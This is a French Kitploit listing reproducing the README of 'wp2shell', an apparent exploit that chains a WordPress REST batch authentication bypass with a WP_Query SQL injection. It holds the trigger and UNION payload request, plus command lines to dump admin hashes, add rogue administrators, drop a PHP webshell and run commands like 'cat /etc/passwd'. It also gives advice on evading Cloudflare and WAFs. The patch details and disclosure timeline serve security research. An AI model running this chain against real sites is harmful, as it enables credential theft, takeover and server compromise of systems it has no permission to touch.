Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-63030-CVE-2026-60137 — PoC de RCE pré-authentification enchaînant un contournement d'authentification de l'API REST batch de WordPress avec une injection SQL via WP_Query pour extraire les hashes, ajouter des utilisateurs administrateurs ou implanter un webshell. | Kitploit
Outils/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationContournement de WAFSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

PoC de RCE pré-authentification enchaînant un contournement d'authentification de l'API REST batch de WordPress avec une injection SQL via WP_Query pour extraire les hashes, ajouter des utilisateurs administrateurs ou implanter un webshell.

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wp2shell

PoC RCE pré-authentification - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Pour les tests d'intrusion et la recherche en sécurité autorisés uniquement. L'exécution de ceci contre des systèmes sans autorisation écrite est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.


Aperçu

wp2shell est un exploit de preuve de concept qui enchaîne deux vulnérabilités signalées indépendamment pour obtenir une exécution de code à distance non authentifiée sur des installations WordPress non corrigées.

CVEComposantClasseAuthentification requise
CVE-2026-63030API REST Batch (WP_REST_Server)Désynchronisation de tableau → contournement d'authentificationAucune
CVE-2026-60137WP_QueryInjection SQL via author__not_inAucune (contournée par ce qui précède)

Le résultat final : un shell sur la machine, un compte administrateur malveillant, ou un hash d'identifiants extrait — le tout à partir d'une seule requête POST non authentifiée.

Versions affectées : WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corrigé dans : WordPress 6.9.5 / 7.0.2 (correctif publié en même temps que la divulgation coordonnée)


Analyse des vulnérabilités

CVE-2026-63030 — Désynchronisation de tableau de l'API REST Batch (contournement d'authentification)

Contexte

WordPress 5.6 a introduit le point de terminaison de traitement par lots à /wp-json/batch/v1. Il permet aux clients REST authentifiés de regrouper plusieurs sous-requêtes en un seul aller-retour HTTP. Chaque sous-requête est validée et distribuée indépendamment par WP_REST_Server::serve_batch_request_v1().

Le chemin de code vulnérable

À l'intérieur de serve_batch_request_v1() (simplifié) :

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Pourquoi cela casse

Les deux tableaux ($responses et $matches) sont censés rester synchronisés — une entrée par sous-requête, au même index. Lorsque la sous-requête [0] échoue à wp_parse_url(), elle ajoute une entrée à $responses mais pas à $matches. Après la première boucle :

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

La boucle 2 distribue alors $matches[0] et écrit le résultat dans $responses[0]. Elle distribue request[1] mais écrase l'index 0 dans les réponses — et surtout, elle utilise le contexte de permission qui a été calculé dans le cadre de la gestion d'erreur de la requête[0] échouée, et non le contexte de permission du point de terminaison cible.

L'effet pratique : tout point de terminaison qui nécessite une authentification (y compris les points de terminaison qui effectuent des requêtes SQL) peut être appelé sans identifiants.

Le déclencheur

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

La chaîne ://\x00 est une chaîne Python valide mais une URL invalide dans le wrapper wp_parse_url() de PHP (l'octet nul fait échouer l'analyse, renvoyant false plutôt qu'un WP_Error, ce qui rend la garde is_wp_error() inutile — seul $parsed === false l'attrape, et l'alignement du tableau est déjà cassé à ce stade).


CVE-2026-60137 — Injection SQL author__not_in de WP_Query

Contexte

L'API REST de WordPress pour les articles (/wp/v2/posts) expose un paramètre de requête author_exclude qui correspond directement à l'argument author__not_in de WP_Query. WP_Query est l'abstraction de base de données centrale utilisée pour presque toutes les requêtes de contenu dans WordPress.

Le chemin de code vulnérable

Dans WP_Query::parse_query() (simplifié) :

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Plus loin dans WP_Query::get_posts() :

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Pourquoi cela casse

L'assainissement ne se déclenche que lorsque $author__not_in est un tableau. Le système de types de PHP détermine cela en fonction de la façon dont la valeur est arrivée :

  • Corps JSON avec tableau → PHP reçoit [1, 2, 3] → is_array() = true → assaini
  • Chaîne de requête URL → PHP reçoit "1,2,3" (une chaîne) → is_array() = false → non assaini

Le point de terminaison REST accepte author_exclude depuis la chaîne de requête URL. Il arrive sous forme de chaîne. WP_Query saute le bloc d'assainissement, et la valeur brute est interpolée dans la clause SQL WHERE.

Exploitation

Le point d'injection se situe dans un contexte NOT IN (...) :

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Comme le point de terminaison batch distribue la sous-requête dans le cadre d'un résultat de requête plus large, les lignes UNION sont renvoyées dans le corps de la réponse JSON REST, ce qui en fait une extraction Boolean/UNION sans aveuglement — pas de timing, pas de canal hors bande nécessaire.


Chaîne d'exploitation

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

Prérequis

root@kitploit:~
Python >= 3.8
requests
cloudscraper

Installer les dépendances :

root@kitploit:~
pip install requests cloudscraper

Utilisation

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

Modes

ModeCe qu'il fait
detectIdentifie la version de WP et vérifie si le point de terminaison batch existe. Pas d'exploitation.
dumpExtrait le hash du mot de passe de l'administrateur via UNION SQLi.
adduserCrée un nouveau compte administrateur via des requêtes INSERT empilées.
shellDépose un webshell PHP via SELECT INTO OUTFILE, puis passe à un shell interactif.

Exemples

Détection uniquement — sans danger pendant la phase de cadrage :

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

Extraire le hash admin :

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

Extraire avec sortie de débogage (affiche les réponses HTTP brutes — utile lorsqu'un WAF est impliqué) :

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

Créer un compte admin malveillant :

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

Déposer un shell et passer à une invite interactive :

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

Exécution de commande en une seule fois (non interactive) :

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Via le proxy Burp :

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

Contourner Cloudflare avec un cookie cf_clearance existant :

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

Préfixe de table non par défaut :

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Notes sur le contournement de Cloudflare

L'outil utilise cloudscraper par défaut, qui imite une empreinte TLS de Chrome et résout automatiquement le défi JavaScript de Cloudflare (mode iuam). Cela couvre la plupart des cibles d'hébergement mutualisé derrière Cloudflare.

Si la cible utilise la gestion des bots de Cloudflare (__cf_bm) ou si vous disposez déjà d'un cookie de défi résolu, passez-le avec --cookie "cf_clearance=..." pour utiliser une session requests simple à la place.

Le point de terminaison batch a deux chemins enregistrés. Les règles WAF bloquent fréquemment le chemin standard (/wp-json/batch/v1) mais manquent le chemin hérité par paramètre de requête (/?rest_route=/batch/v1). L'outil sonde les deux automatiquement.


Dépannage

[-] Could not extract credentials

  • Exécutez avec --debug pour voir la réponse JSON brute.
  • Vérifiez le préfixe de table avec --prefix. De nombreuses installations utilisent wp_ (par défaut) ; certaines utilisent des préfixes personnalisés.
  • Le content.rendered de la cible peut être filtré. Essayez plutôt --mode adduser.

[-] OUTFILE failed

  • SELECT INTO OUTFILE nécessite le privilège FILE de MySQL sur l'utilisateur de la base de données. C'est courant sur l'hébergement mutualisé mais généralement désactivé sur les bases de données cloud/managées (RDS, Cloud SQL, etc.).
  • La liste de suppositions de racine web couvre les chemins courants. Si aucun ne correspond, vérifiez les en-têtes du serveur ou utilisez --mode dump pour lire le chemin depuis les fichiers de configuration.

[-] Target does not appear vulnerable

  • La cible est peut-être corrigée (6.9.5+ ou 7.0.2+).
  • Tous les chemins batch sont peut-être bloqués par le WAF. Confirmez manuellement : GET /wp-json/ et recherchez /batch/v1 dans la clé routes.

Détails du correctif

WordPress 6.9.5 / 7.0.2 a corrigé les deux CVE :

  • CVE-2026-63030 : serve_batch_request_v1() maintient désormais un tableau unifié unique pour les données de correspondance et les réponses, éliminant la désynchronisation d'index. Les requêtes échouées sont suivies par index dans la structure unifiée.

  • CVE-2026-60137 : WP_Query::parse_query() convertit désormais author__not_in en tableau de manière inconditionnelle avant l'assainissement, quel que soit le type d'entrée :

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

Scores CVSS

CVEScoreVecteur
CVE-2026-630309.8 CritiqueCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CritiqueCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Chronologie

DateÉvénement
2026-05-14CVE-2026-60137 découvert lors d'une mission de test d'intrusion
2026-05-19CVE-2026-63030 découvert ; la chaîne confirmée comme RCE pré-authentification
2026-05-22Les deux CVE signalés à l'équipe de sécurité WordPress via HackerOne
2026-06-03L'équipe de sécurité WordPress confirme et commence le développement du correctif
2026-07-08Correctifs publiés (WP 6.9.5 / 7.0.2) en même temps que la divulgation coordonnée
2026-07-22PoC publié

Légal

Cet outil est fourni pour les tests de sécurité et la recherche autorisés uniquement.

  • Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de permission écrite explicite de tester.
  • Ne l'utilisez pas dans des environnements de production sans autorisation.
  • Les auteurs ne sont pas responsables des dommages causés par une mauvaise utilisation.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

Licence

Licence MIT — voir LICENSE


Références

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
Télécharger l’outil